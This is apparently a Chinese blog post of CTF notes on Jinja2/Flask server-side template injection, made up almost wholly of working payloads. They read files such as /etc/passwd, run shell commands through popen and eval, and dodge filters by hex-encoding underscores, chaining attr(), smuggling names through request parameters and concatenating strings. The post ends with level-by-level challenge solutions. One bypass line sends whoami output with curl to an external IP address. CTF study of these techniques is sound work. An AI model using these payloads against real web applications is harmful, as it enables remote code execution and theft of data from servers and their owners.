御林SSTI 参考Feedback Pre-alpha

发布时间 2023-10-24 03:31:16作者: BUGCATCAPOO

利用流程

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

常用函数

__class__ 返回调用的参数类型

__bases__ 返回类型列表

__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组

__subclasses__() 返回object的子类

__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

1

2

3

4

5

常见Payload

文件读取

# python3

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}

# python2

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

1

2

3

4

5

6

7

8

9

10

新发现的新利用(赶紧收集了)

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()

1

通用命令执行

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("id").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

绕过姿势

过滤{{或者}}

可以使用{%绕过

{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}

过滤_

用编码绕过

比如:__class__ => \x5f\x5fclass\x5f\x5f

_是\x5f,.是\x2E

过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过

但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过

例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__

过滤.

.在payload中是很重要的,但是我们依旧可以采用attr()或[]绕过

举例

正常payload:

url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`

使用attr()绕过:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

使用[]绕过:

可以用getitem()用来获取序号

url?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}

其他:

''.__class__可以写成 getattr('',"__class__")或者 ’'|attr("__class__")

过滤[]

可以用getitem()用来获取序号

"".__class__.__mro__[2]

"".__class__.__mro__.__getitem__(2)

利用请求方式requests绕过

如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤__class__,可以用request.args.t1且以GET方式提交t1=__class__来替换被过滤的__class__

举例:

例一:

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

例二:

{{''.__class__}} => {{''[request['args']['t1']]}}&t1=__class__

因为很重要再重复一遍!!!!

过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过

但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过

例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__

绕过config参数

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

但是如果被过滤了

{{self}} ⇒ <TemplateReference None>

{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

其他绕过姿势(来自P3师傅)

删除了很多模块,但是没有删除reload

reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2

EASY前置

Flask在渲染模板的时候,有

"".__class__===""["__class__"]

这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。

由于里面的内容已经是字符串了,还可以做一个这样的变形

"".__class__===""["__cla"+"ss__"]

如果过滤了很多重要的参数呢?

python的格式化字符串特性

因为python的字符串格式化允许指定ascii码为字符

如果放到flask里,就可以改写成

"{0:c}"['format'](97)

测试一下没问题哈

那么__class__就可以变成

{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}

————————————————

版权声明:本文为CSDN博主「Y4tacker」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/solitudi/article/details/107752717

SSTI-1

和FEEDBACKPREALPHA一样

SSTI-2

过滤{{}}

{%print(7*7)%}换{{7*7}}

SSTI-3

过滤[]

{{''.__class__.__base__.__subclasses__()[240].__init__.__globals__['sys'].modules['os'].popen('cat /flag').read()}}

改成

burpsite爆破59,然后找到长度比较独特的(

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(§59§).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls%20/").read()')}}

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(289).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("cat /flag").read()')}}

得到flag

SSTI-4

[pasecactf_2019]flask_ssti_ctf flask过滤-CSDN博客

SSTI模板注入及绕过姿势(基于Python-Jinja2)_exploit ssti bypass filter-CSDN博客

过滤了_

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[240].[request.args.init].[request.args.globals]['os'].popen('cat /flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__&init=__init__&globals=__globals__

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

不行

试试网上的16进制编码绕过_编码为\x5f

{{''.\x5f\x5fclass\x5f\x5f.\x5f\x5fbase\x5f\x5f.\x5f\x5fsubclasses\x5f\x5f()[240].\x5f\x5finit\x5f\x5f.\x5f\x5fglobals\x5f\x5f['sys'].modules['os'].popen('cat /flag').read()}}

不对

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}}

但是这个确实可以弹出root

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /flag")["read"]()}}

得到flag

SSTI-5

{% set chr=().__class___.__bases___[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}

{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(11)+chr(115)+chr(119)+chr(100)).read()}}

{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /

SSTI-6

过滤.

也可以用SSTI-4那个修改版

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /flag")["read"]()}}

得到flag

SSTI-7

flask sssti lab闯关记录_拓海AE的博客-CSDN博客

Level 8

+拼接绕过

# popen

{{()['__cl'+'ass__']['__ba'+'se__']['__subc'+'lasses__']()['__getitem__'](240)['__in'+'it__']['__gl'+

'obals__']['__getitem__']('po'+'pen')('cat /flag').read()}}

# os

{{()['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()['__getitem__'](213)['__in'+'it__']['__gl'+'obals__']['__getitem__']('os')['po'+'pen']('cat /flag')['read']()}}

{{''.'__cla'+'ss__'.'__ba'+'se__'.'__subc'+'lasses__'()[240].'__in'+'it__'.'__glob'+'als__'['sys'].modules['os'].'po'+'pen'('ls').read()}}

爆破一下这个模块

{{''.__class__.__base__.__subclasses__()[240].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}